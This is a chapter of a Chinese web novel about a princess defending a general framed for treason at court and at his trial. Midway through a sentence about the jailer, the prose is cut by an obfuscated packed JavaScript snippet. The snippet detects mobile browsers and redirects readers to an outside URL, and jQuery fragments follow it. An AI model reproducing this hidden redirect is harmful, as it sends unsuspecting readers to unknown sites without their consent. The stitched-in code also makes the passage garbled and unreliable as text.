32. 第 32 章

作品:《废柴公主她杀疯了

    丽贵妃大急,惊呼道:“不要!快快住手!”


    这时殿外传来一个小宫女急切的敲门声:“娘娘,陛下的銮驾往栖鸾宫去了。”


    丽贵妃没想到皇上忽然驾临栖鸾宫,再也顾不得继续纠缠空绝,急匆匆的走了。


    空绝见她离去,松了一口气,火烛颓然从手中跌落,蜡油流了一地,燃气火苗,他的右颊上早已烧出杯口大的一片红印,他亦浑然不觉。


    空绝从幼年出家,从来心境平淡,持重平和,刚才却惊出了一身冷汗,此时背脊处衣衫尚透出丝丝阴寒。


    他低头沉思,脑海中竟印出长公主洛兮谈笑自若的容颜。


    难不成今日的卦象果然应验,二皇女洛姝终要无缘帝位,洛兮将成为大熙第一位女帝。


    五天后正到了上朝的日子,一大早,才四更天,洛兮就不得不起床,在迷迷糊糊中洗漱,等坐上马车出发的时候,天才蒙蒙亮。


    直到上了朝,洛兮还处于半梦半醒的状态,御座上传来皇上怒气冲冲的质疑声,瞬间惊醒了洛兮:


    “陆逸凌,大都督贺谨之参你私通匈奴,现在他在边关抓住了匈奴细作,供述你与匈奴有联系,并给匈奴人提供城防图,致使我边关重镇祈阳被匈奴攻破。我朝待你陆家不薄,没想到你竟然为了争权夺利做出此等大逆不道之事,该当何罪!”


    陆逸凌三个字在洛兮耳边炸开,她瞬间就清醒了。


    只见陆逸凌走到大殿中央跪下,高声辩称:


    “臣守护边关多年,从未有过与匈奴私通之事,近期更是一直因伤在家休假,怎能与匈奴私通?定是有人污蔑为臣,请陛下明察秋毫,还臣清白。”


    “此处有书信为证,你还敢说污蔑,你看看这书信是不是你写的?”


    皇上气急败坏的将一封书信掷向陆逸凌,书信轻飘飘的落下,已有太监赶忙捡起,递给了陆逸凌,陆逸凌仔细看了一遍书信,惊愕异常,辩白道:


    “陛下,这书信的笔迹的确跟为臣的字很像,但是此信绝非臣所写,必是有人想陷害臣,参照臣的笔迹所书。”


    皇上根本不听陆逸凌辩解,一脸怒容道:“现在人证物证俱在,怎容你狡辩?将陆逸凌交于刑部收监,你是不见棺材不落泪,朕看你还能嘴硬到什么时候。”


    洛兮眼见皇上要抓人,陆逸凌百口莫辩,连忙上前道:


    “父皇息怒,陆家为国多年争战有功,威慑匈奴,路人皆知。此时边关战事吃紧,万不可因一时之失,冤杀忠良,以至动摇军心。此事非同小可,儿臣以为还需仔细调查清楚,方可定夺。”


    还未等皇上开口,洛姝也站了出来:


    “父皇,正因边关情况危急,方不可大意,放过通敌之人,就等于将我大熙国置于危险之中,凡有嫌疑者必重惩,方能保万无一失。”


    洛兮听洛姝如此说,急道:“父皇万万不可未审先判,只凭一封不知真假的书信就轻易定罪,儿臣请求参与审理陆逸凌的案件,一定要让事情水落石出。”


    洛姝一声冷笑:“不知父皇是否曾有耳闻,皇姐好色,对陆将军垂涎已久,现在她百般维护陆逸凌,让皇姐审理此案,难免她会徇私包庇,儿臣只对父皇一片衷心,这案件交由儿臣审理,定能办成铁案,绝不放过一个疑犯。”


    洛兮亦还之以冷笑:


    “父皇,儿臣一心为大熙着想,与陆将军无亲无故,所谓垂涎陆将军美色不过是空穴来风的谣言,不足为信,倒是皇妹,作为参奏人贺大人的亲戚,难免有串通的嫌疑。”


    洛姝针锋相对:“皇姐此话何意,难道是在怀疑贺大人和我联合起来构陷陆将军吗?”


    洛兮见洛姝咄咄逼人,却不急不缓道:“是黑是白,是真是假,并不能急于定论,一切有待调查,皇妹又何必急吼吼的给人定罪。”


    洛姝还待反驳,却遭到皇上的呵斥:


    “好了,别吵了,在朝堂上吵吵闹闹成何体统。”


    皇上早被她俩吵的头晕脑胀,他昨天收到贺谨之边关战败的急报,气的一夜未眠,急怒攻心之下,头疼欲裂,本来抱恙的身体更加难受,只想将战败的责任推到陆逸凌身上,早了解此案,早心静,谁知却引起两位皇女的争执。


    他此时只想赶快散朝回去休息,揉着太阳穴不耐道:


    “就由你二人一起参与审理案件,一个月之内必须给朕一个结果。”


    陆逸凌当场被廷卫押走,交于刑部收监。


    洛兮回到公主府,心急如焚,她自是相信陆逸凌不会私通匈奴谋反,可是洛姝一党显然是有备而来,捏造出证据构陷,皇上又年老昏庸,现在显然是听信了谗言,有意绞杀陆家军。


    而洛姝之所以针对陆逸凌,主要也是冲着自己来的,陆逸凌只是受到牵连,才遭受到这无妄之灾,说到底终是自己连累了他。


    当务之急须去刑部打点,让陆逸凌在牢中不要受苦,可是偏那刑部尚书钟裕是贺谨之门生,下朝时洛兮前去找他,想笼络住他,可那钟裕四十多岁,面相看似文雅,与人说话时,一双细眼,略带焦黄的眼珠滴溜乱转,分明是一只狡猾的狐狸。面对洛兮,他表面上应承,可实际上却虚予蛇委,只回了一番冠冕堂皇的托词。


    洛兮正着急间,门外通传有人送来一封信,来人未报名姓,洛兮接过信一看,原来是陆逸凌父亲镇北侯的亲笔书信。


    如今镇北侯府也受到牵连,虽未被抄家,却已经被御林军包围,府中人等不可自由进出,这封书信能送出来也是冒了极大的风险,老侯爷在这种危急时刻能信任她,洛兮心中感动,看到信中写到老夫一生不善经营,镇北侯府只有府宅一处,还有先皇因陆家战功赐予的良田十数亩,受之皇恩,皆可归于长公主,只求保下犬子性命,洛兮不由的难忍心酸,落下泪来。


    只能先让来人稍话,请侯爷放心,无论如何她一定会救出陆逸凌。


    这句话说出去了,洛兮的心反而安定了不少,明日案子开审,虽然暂时她还未想到什么好办法,但是到时随机应变,对方的证据毕竟是捏造的,是假的就必有漏洞可查,总之她定要救下陆逸凌。


    第二天开堂会审,刑部尚书钟裕是主审,洛兮、洛兮和其他二司遣派的官员坐在大堂两侧。


    陆逸凌身穿单薄的白色囚衣披枷带锁的被押送到堂前,只一夜功夫,他本来略显瘦削的脸颊更加憔悴,幸好身上并未有受刑拷打的痕迹,显然洛兮前一天给钟裕施压的话还是起了些作用,还未开审,他也不敢先自作主张动用大刑,得罪洛兮这位长公主。


    陆逸凌足上戴着沉重的镣铐,拖在地上,发出金属哗啦啦的声响,每走一步都十分艰难。


    押解陆逸凌的狱卒满脸横肉,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289767|196043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    粗暴对待犯人惯了,在后面推推搡搡,待行至堂前,更是挥起杀威棒,一杖打在陆逸凌腿弯处。


    “住手!”


    洛兮心中抽痛,立刻出言阻止,陆逸凌却已经被打的扑倒在坚硬的石板地上。


    洛姝在一旁悠闲的摇着洒金折扇阴阳怪气道:“怎么?皇姐这就心疼了?这还没上大刑呢,照皇姐如此心慈手软,怎么能让刁钻的罪犯招认?”


    洛兮道:“皇妹也太心急了些,案件还未审理出结果,皇妹就急着给人定罪了。这案子一日不结,陆将军就一日不能算罪犯,不可粗暴对待。”


    洛姝一张一合,熟练的玩弄着手里的折扇道:


    “这就粗暴了?皇姐平时不理政务,怕是还不知道吧,只要进了刑部大牢,没有无辜的,不死也得脱层皮。”


    此时狱卒已经替陆逸凌取下颈间的木枷,他戴着镣铐跪在堂前,也不看向洛兮,只垂着双目,神色坦然,一副与洛兮毫无牵挂的样子,他越是如此,洛兮越难过。


    洛兮不想再与洛姝做无谓的争执,便对坐在堂上的钟裕说:“还是请钟大人开始审案吧,早日查明真相为上。”


    钟裕闻言一拍惊堂木,喝问道:


    “堂下之人可是陆逸凌?”


    镣铐声动,乌黑粗重的撩拷下陆逸凌原本润白如玉的手腕被磨出红痕,洛兮见到又是一阵心痛,仿佛正在受难的是自己。


    陆逸凌抬头看向钟裕淡然道:“正是。”


    钟裕又高声道:“你私通匈奴,泄露城防图给敌方,致使我边关重镇失守,你可知罪吗?”


    陆逸凌一双黑白分明的眼睛看向钟裕,正气凛然。


    “回大人,陆某冤枉,这些针对陆某的指控纯属子虚乌有,定然是有人想栽赃陷害。”


    钟裕又是一拍惊堂木:“本官手上有匈奴奸细的口供,还有你与匈奴人私下往来的信件,人证物证俱在,你还敢狡辩,看来不用大刑,你不会老实交代,来啊,重责五十大板。”


    洛兮见钟裕不问青红皂白,上来就要动刑,明显是受了贺谨之和洛姝的指使,眼看着衙役就要动手,连忙出声阻止:


    “慢着,钟大人,那封书信的真假未辨,钟大人又怎知不会是匈奴奸细故意构陷陆将军,依本宫看还须当堂先验明书信真假方是。”


    钟裕不耐的暗暗翻了个白眼,他虽不满,却不敢公然顶撞洛兮,只是摆出一付公事公办的样子,沉声道:


    “昨日朝堂之上,圣上已然给陆逸凌看了书信,连他本人都承认这字迹就是他本人的,还能有何错?”


    洛兮蛾眉轻挑,不屑道:


    “那不过是粗看像而已,这世上有人可以模仿别人笔迹,敌方若有意构陷,必会找人刻意模仿,钟大人又岂会不知?”


    钟裕捻须道:“敌人要模仿陆逸凌笔迹,手上也得有他的字样才行,他的笔迹又怎会落到敌人手里?可见无论如何陆逸凌必然与敌方有染。”


    洛兮意味深长道:“钟大人倒提醒了,可见这其中必有内奸,只是内奸不一定是陆将军,恐怕这构陷他的人,跟这内奸是一伙的。”


    钟裕眼见洛兮将矛头指向贺谨之,只怕再探讨下去,惹祸上身,赶紧打住话题,顺水推舟道:


    “殿下既如此说,那微臣倒想听听殿下高论,又如何辨别这书信真假呢?”